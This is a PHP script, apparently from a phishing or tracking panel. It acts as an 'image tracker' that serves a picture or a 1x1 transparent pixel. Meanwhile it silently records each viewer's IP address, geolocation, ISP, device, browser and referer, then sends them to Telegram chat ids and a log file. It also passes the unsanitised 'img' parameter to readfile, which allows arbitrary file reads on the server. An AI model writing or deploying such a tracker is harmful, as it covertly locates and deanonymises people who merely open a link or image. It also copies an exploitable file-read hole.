<?php
require "../main.php";

$mo = new Mother();
$bot = $a_bot;
$ids = explode(",", str_replace(" ", "", $a_ids));

// Get visitor IP
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == "::1") $ip = "127.0.0.1";

// Get User Agent
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';

// Get Referer
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct';

// Get image name from URL parameter
$image_name = isset($_GET['img']) ? basename($_GET['img']) : 'unknown.jpg';

// Get location from IP using free API
function getLocationFromIP($ip) {
	if ($ip == "127.0.0.1" || $ip == "::1") {
		return array('country' => 'Local', 'city' => 'Localhost', 'isp' => 'Local');
	}
	
	// Try ip-api.com (free, no key needed)
	$url = "http://ip-api.com/json/" . $ip . "?fields=status,message,country,countryCode,city,isp,query";
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_TIMEOUT, 5);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	$response = curl_exec($ch);
	$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
	
	if ($httpCode == 200 && $response) {
		$data = json_decode($response, true);
		if (isset($data['status']) && $data['status'] == 'success') {
			return array(
				'country' => $data['country'] ?? 'Unknown',
				'countryCode' => $data['countryCode'] ?? 'XX',
				'city' => $data['city'] ?? 'Unknown',
				'isp' => $data['isp'] ?? 'Unknown',
				'ip' => $data['query'] ?? $ip
			);
		}
	}
	
	return array('country' => 'Unknown', 'city' => 'Unknown', 'isp' => 'Unknown', 'ip' => $ip);
}

// Get location info
$location = getLocationFromIP($ip);
$country = $location['country'];
$city = $location['city'];
$isp = $location['isp'];
$countryCode = isset($location['countryCode']) ? $location['countryCode'] : 'XX';

// Get device info
$device = 'Unknown';
if (preg_match('/Mobile|Android|iPhone|iPad/i', $user_agent)) {
	$device = 'Mobile';
} elseif (preg_match('/Windows|Mac|Linux/i', $user_agent)) {
	$device = 'Desktop';
}

// Get browser info
$browser = 'Unknown';
if (preg_match('/Chrome/i', $user_agent)) {
	$browser = 'Chrome';
} elseif (preg_match('/Firefox/i', $user_agent)) {
	$browser = 'Firefox';
} elseif (preg_match('/Safari/i', $user_agent)) {
	$browser = 'Safari';
} elseif (preg_match('/Edge/i', $user_agent)) {
	$browser = 'Edge';
}

// Get flag emoji from country code
function getFlagEmoji($countryCode) {
	if ($countryCode == 'XX' || empty($countryCode)) return '🌍';
	$codePoints = array_map(function($char) {
		return 127397 + ord($char);
	}, str_split(strtoupper($countryCode)));
	return implode('', array_map('mb_chr', $codePoints));
}

$flag = getFlagEmoji($countryCode);

// Current date and time
$date = date('Y-m-d H:i:s');

// Build Telegram message
$message = "🖼️ IMAGE TRACKER 🖼️\n\n";
$message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
$message .= "📸 Image: $image_name\n\n";
$message .= "🌍 Location:\n";
$message .= "   $flag $country\n";
$message .= "   🏙️ City: $city\n";
$message .= "   📡 ISP: $isp\n\n";
$message .= "💻 Device Info:\n";
$message .= "   🖥️ Type: $device\n";
$message .= "   🌐 Browser: $browser\n\n";
$message .= "📊 Details:\n";
$message .= "   🔢 IP: $ip\n";
$message .= "   📅 Date: $date\n";
$message .= "   🔗 Referer: $referer\n\n";
$message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
$message .= "🔗 Panel: $panel";

// Send to Telegram
$telegram_content = urlencode($message);
foreach ($ids as $id) {
	$mo->sendBot($telegram_content, $bot, $id);
}

// Log to file
$log_file = __DIR__ . '/image_tracker.log';
$log_entry = date('Y-m-d H:i:s') . " | IP: $ip | Country: $country ($countryCode) | City: $city | ISP: $isp | Device: $device | Browser: $browser | Image: $image_name | Referer: $referer\n";
@file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX);

// Get actual image path
$image_path = isset($_GET['img']) ? $_GET['img'] : 'assets/images/default.png';

// If image path doesn't start with http, assume it's relative
if (!preg_match('/^https?:\/\//', $image_path)) {
	// Try to find image in common directories
	$possible_paths = array(
		__DIR__ . '/' . $image_path,
		__DIR__ . '/assets/images/' . basename($image_path),
		__DIR__ . '/img/' . basename($image_path),
		__DIR__ . '/../' . $image_path
	);
	
	foreach ($possible_paths as $path) {
		if (file_exists($path)) {
			$image_path = $path;
			break;
		}
	}
}

// Serve the image
if (file_exists($image_path)) {
	$mime_type = mime_content_type($image_path);
	header('Content-Type: ' . $mime_type);
	header('Content-Length: ' . filesize($image_path));
	readfile($image_path);
} else {
	// If image not found, create a simple 1x1 transparent pixel
	header('Content-Type: image/png');
	echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
}
exit;
?>

